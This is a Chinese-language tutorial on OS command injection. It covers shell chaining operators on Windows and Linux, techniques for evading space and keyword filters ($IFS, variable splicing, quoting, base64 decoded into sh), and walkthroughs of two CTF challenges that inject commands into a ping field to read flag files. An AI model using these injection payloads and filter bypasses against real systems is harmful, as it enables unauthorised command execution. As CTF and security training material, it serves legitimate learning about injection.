一、常见连接命令
1.1 Windows 下连接两条命令
命令符合 | 说明 | 使用 |
---|---|---|
| | 直接执行后面的语句 | ping www.baidu.com | whoani |
|| | 如果前面的语句执行错误,则执行后面的语句 | ping 2 || whoami |
& | 前面的语句可真可假 | ping 2 & whoami |
&& | 前面的语句为真时,才执行后面的语句 | ping www.baid.com && whoami |
C:\Users\Administrator>ping baidu.com | whoami
user-20230324oe\administrator
C:\Users\Administrator>ping baidu.com || whoami
正在 Ping baidu.com [110.242.68.66] 具有 32 字节的数据:
来自 110.242.68.66 的回复: 字节=32 时间=37ms TTL=50
Cuser-20230324oe\administrator
C:\Users\Administrator>ping 2 || whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
user-20230324oe\administrator
C:\Users\Administrator>ping 2 & whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
user-20230324oe\administrator
C:\Users\Administrator>ping baidu.com & whoami
正在 Ping baidu.com [110.242.68.66] 具有 32 字节的数据:
来自 110.242.68.66 的回复: 字节=32 时间=37ms TTL=50
Cuser-20230324oe\administrator
C:\Users\Administrator>ping baidu.com && whoami
正在 Ping baidu.com [110.242.68.66] 具有 32 字节的数据:
来自 110.242.68.66 的回复: 字节=32 时间=37ms TTL=50
user-20230324oe\administrator
C:\Users\Administrator>ping 2 && whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
1.2 Linux 下连接两条命令
命令符合 | 说明 | 使用 |
---|---|---|
| | 管道符,直接执行后面的语句 | ping -c 4 127.0.0.1 | whoani |
|| | 如果前面的语句执行错误,则执行后面的语句 | ping -c 4 2 || whoami |
; | 执行完前面的,直接执行后面的 | ping -c 4 127.0.0.1 & whoami |
&& | 前面的语句为真时,才执行后面的语句 | ping -c 4 127.0.0.1 && whoami |
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0.1 ; whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.083 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.058 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 2 received, 50% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.058/0.070/0.083/0.012 ms
root
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0.1 | whoami
root
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0 || whoami
PING 127.0.0 (127.0.0.0) 56(84) bytes of data.
64 bytes from 127.0.0.0: icmp_seq=2 ttl=64 time=0.085 ms
64 bytes from 127.0.0.0: icmp_seq=3 ttl=64 time=0.091 ms
64 bytes from 127.0.0.0: icmp_seq=4 ttl=64 time=0.082 ms
--- 127.0.0 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.082/0.086/0.091/0.003 ms
┌──(root㉿192)-[~]
└─ ping -c 4 127 || whoami
PING 127 (0.0.0.127) 56(84) bytes of data.
From 192.168.15.132 icmp_seq=1 Destination Host Unreachable
From 192.168.15.132 icmp_seq=2 Destination Host Unreachable
From 192.168.15.132 icmp_seq=3 Destination Host Unreachable
From 192.168.15.132 icmp_seq=4 Destination Host Unreachable
--- 127 ping statistics ---
4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 2997ms
pipe 4
root
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.057 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.064 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 2 received, 50% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.057/0.060/0.064/0.003 ms
root
1.3 CTF练习
- [ACTF2020 新生赛]Exec
- 尝试输入 baidu.com | ls,很顺利的就拿到了index.php,所以本题好像没有什么过滤规则。
- 继续查看index.php文件。baidu.com|cat index.php。虽然页面显示了两个PING输入框,但是查看源码,发现下面多了一段PHP代码。
- flag不在当前目录下,继续寻找flag,baidu.com | ls …/… ,目录下依旧没有。 baidu.com | ls …/…/… 找找到了flag文件。最后baidu.com | cat …/…/…/flag 查看内容。
二、绕过
有时候会碰到,WAF过滤了一些关键字或者空格。这时候需要我们避开这些关键字或空格。
2.1 空格绕过
-
$IFS$1 :内部域分隔符
$0 Shell本身的文件名 $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数… $$ Shell本身的PID(ProcessID) $! Shell最后运行的后台Process的PID $? 上个命令的退出状态,或函数的返回值 $- 使用Set命令设定的Flag一览 $* 所有参数列表,不包括脚本本身。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有数。 $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 $# Shell的参数个数
-
{cat,flag}
-
cat<flag
-
cat<>flag
┌──(root㉿192)-[~/桌面/zaxiang] └─ cat<flag flag{akdjfweifjklajsdf} ┌──(root㉿192)-[~/桌面/zaxiang] └─ cat<>flag flag{akdjfweifjklajsdf}
2.2 关键词绕过
-
变量拼接
┌──(root㉿192)-[~/桌面/zaxiang] └─ a=fl;b=ag;cat $a$b flag{akdjfweifjklajsdf}
-
反应号
┌──(root㉿192)-[~/桌面/zaxiang] └─ cat fl`fjlajsdfj`ag fjlajsdfj:未找到命令 flag{akdjfweifjklajsdf}
-
反斜杠
┌──(root㉿192)-[~/桌面/zaxiang] └─ cat fl\ > ag flag{akdjfweifjklajsdf}
-
引号
┌──(root㉿192)-[~/桌面/zaxiang] └─ cat fl'a'g flag{akdjfweifjklajsdf}
-
编码绕过
──(root㉿192)-[~/桌面/zaxiang] └─ echo Y2F0IGZsYWc=|base64 -d|sh # Y2F0IGZsYWc= 是 cat flag 的base64编码 flag{akdjfweifjklajsdf}
2.4 CTF 练习
-
[GXYCTF2019]Ping Ping Ping
-
打开题目连接,就是上面的界面,提交 /?ip=baidu.com|ls。显示在当前目录下有flag.php和index.php。
-
输入baidu.com|cat flag.php,发现服务器识别了空格。于是输入baidu.com|cat<>flag.php ,服务器也识别了符号。
-
尝试使用$IFS 命令绕过空格,结果flag被过滤了。那我们先看看index.php的内容
-
baidu.com|cat$IFS$1index.php 得到index.php的内容。
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
-
分析index.php的内容,可以知道过滤了&、<、>、*、{、}、(、)等,试着用编码绕过。
baidu.com|echo$IFS$1Y2F0ICBmbGFnLnBocA==|base64$IFS$1-d|sh